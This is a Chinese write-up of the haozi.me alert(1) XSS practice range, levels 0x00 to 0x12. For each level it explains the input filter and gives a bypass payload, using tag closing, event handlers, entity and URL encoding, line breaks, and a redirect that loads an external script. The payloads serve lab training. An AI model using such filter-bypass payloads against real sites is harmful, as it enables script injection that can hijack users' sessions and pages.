当前位置:网站首页>alert(1) (haozi.me)靶场练习
alert(1) (haozi.me)靶场练习
2022-07-31 12:19:00 【共黄昏】
XSS靶场练习
靶场链接:
0x00

送分题,这道题服务器没有对输入进行过滤,输入代码:
<script>alert(1)</script>

0x01

因为<textarea>为RCDATA元素,在<textarea>中的内容不会有脚本执行,仅仅将其作为普通文本显示,所以需要进行闭合绕过处理。
playload:
</textarea><script>alert(1)</script>
或
</textarea><script>alert(1)</script><textarea>
textarea 一般是用来接收用户输入,用于提交到服务器端,例如 网站的评论框。如果此框也用于显示服务器端回传的内容,即使将html代码段插入textarea, html代码段不会执行, 仅仅将其作为普通文本显示。
在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。在这个状态中,如果遇到“<”字符,它会转换到“RCDATA小于号状态”。如果“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”。这意味着在RCDATA元素标签的内容中(例如<textarea>或<title>的内容中),唯一能够被解析器认做是标签的就是</textarea>或者</title>。
因此,在<textarea>和<title>的内容中不会创建标签,就不会有脚本能够执行。
0x02

采用标签闭合的方式
playload:
"><script>alert(1)</script>
0x03

过滤括号()
playload:
<script>alert`1`</script>
0x04

过滤了括号和反引号,采用实体编码的方式绕过
playload:
<img src='0' onerror="alert(1)">
0x05

有注释,通过闭合开头的注释,进行绕过
playload:
--!><img src='0' onerror="alert(1)">
0x06
将 auto,on事件(如,οnclick=,onerror等)以及> 不区分大小写替换为 ‘_’

利用html不同行也能执行命令,换行处理绕过过滤机制
playload:
type="image" src=0 onerror
=alert(1)
0x07
将<>中的内容不区分大小写替换为空

html在解析中有一种纠错机制,img标签不写后面的“>”仍然是可以正常执行的
playload:
<img src=1 onerror='alert(1)'
0x08
将不区分大小写替换为/* \u574F\u4EBA */

利用html中不同行执行的特点,进行闭合
playload:
</style
>
<script>alert(1)</script>
0x09
playload中必须要有https://www.segmentfault.com这个网址

通过标签闭合以及注释的方式进行绕过
playload:
https://www.segmentfault.com"></script><script>alert(1)//
或
https://www.segmentfault.com"></script><script>alert(1)
-->
0x0A
在0x09关的基础上将&、'、"、<、>、\等字符转换为实体编码

采用重定向的方式进行绕过,由于不同的浏览器可能会有保护机制,所以本关可能不会显示成功。
playload:
https://www.segmentfault.[email protected]127.0.0.1/a.js
a.js文件内容:
<script>alert(1)</script>
0x0B
将输入的内容转为大写

在html中语句是不区分大小写的,但在js中语句是严格区分大小写的,标签中的alert函数是js解析,所以需要对alert进行编码,采用实体编码
playload:
<img src=1 onerror="alert(1)">
方法二:
采用a标签,通过url编码绕过大写,点击 A这个链接进行触发

playload:
<a href="javascript:%61%6c%65%72%74%28%31%29">a
0x0C
将script不区分大小写进行替换,并将输入的内容转为大写
方法一:
采用img标签,实体编码的方式再次绕过

playload:
<img src=1 onerror="alert(1)">
方法二:
采用a标签,实体编码绕过script的过滤,url编码绕过大写,点击链接的进行触发

playload:
<a href="javascript:%61%6c%65%72%74%28%31%29">b
0x0D
将< / " ' 替换为空,并且对输入的内容进行注释

通过换行并注释的方式成功绕过
playload:
alert(1)
-->
0x0E
将<abc>中排在第一个的字母(a-z,A-Z),无论大小写都替换为 _,即<abc>替换为<_bc>

在html中ſ这个字符通过大写可以转换为S,并且在html中是不区分大小写的。
使用svg标签成功绕过。
playload:
<ſvg/onload='alert(1)'>
0x0F
将特殊字符转换为html实体编码放入img标签中的onerror事件中

解体思路:因为处于html标签中,单引号 ' 的实体编码是能识别的,并且()并没有被过滤。在HTML中程序可以不同行执行,通过闭合以及换行成功绕过。
playload:
')
alert(1)
('
0x10

送分题,直接 alert(1)
pladload:
alert(1)
0x11
将需要特殊字符进行了转义替换,但是他只是将\进行了转义,也就是说\\"第一个\将第二个\ 进行了转义,但是"还是原来的"

因为是var参数变量,所以需要先闭合,然后通过逗号,隔开。
playload:
"),alert(1)("
或
%22),alert(1)(%22
0x12
将"替换为\\”

playload:
\");
alert(1);
-->
或
\"),alert(1);//
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QnTVJlng-1659036596848)(F:/Typora/Typora_img/image-20220729032447368.png)]
这种不会执行成功,因为\将"进行了转义,不再具有"的功能,所以执行失败
边栏推荐
- Cognitive-exercise rehabilitation medical robot application design
- 学习笔记 Golang 写入文件(io.WriteString、ioutil.WriteFile、file.Write、write.WriteString)
- Mysql环境变量的配置(详细图解)
- 函数递归1.0
- Different lower_case_table_names settings for server ('1') and data dictionary ('0') solution
- In Excel using ODBC consumer SAP ABAP CDS view
- 小试牛刀—猜数字游戏
- PAT考试总结(考试心得)
- DCM 中间件家族迎来新成员
- Exploring Plain Vision Transformer Backbones for Object Detection Paper Reading Notes
猜你喜欢
随机推荐
SAP ABAP OData 服务如何支持 $filter (过滤)操作试读版
Data Lake (19): SQL API reads Kafka data and writes it to Iceberg table in real time
Banyan Tree Loan GPU Hardware Architecture
Structural controllability of switched linear systems with symmetry constraints
JVS函数公式使用场景介绍
安装MYSQL遇到问题:write configuration file卡主
SAP 电商云 Spartacus UI 和 Accelerator UI 里的 ASM 模块
纷享销客罗旭对话元气森林黄晓枫:零售数字化的终点不是创新,而是数据
ASM module in SAP Ecommerce Cloud Spartacus UI and Accelerator UI
栈和队列的基本概念
Power BI----几个常用的分析方法和相适应的视觉对象
小试牛刀—猜数字游戏
Three-Phase PWM Rectifier Predictive Direct Power Control
imx6ull看门狗使用
file contains vulnerabilities
使用docker搭建mysql主从
B/S架构模式的一个整体执行流程
普林斯顿微积分读本03第二章--编程实现函数图像绘制、三角学回顾
荣耀手机参数写错,客服认为没错
0x80070570 The file or directory is damaged and cannot be deleted (how to delete 0x80070091)









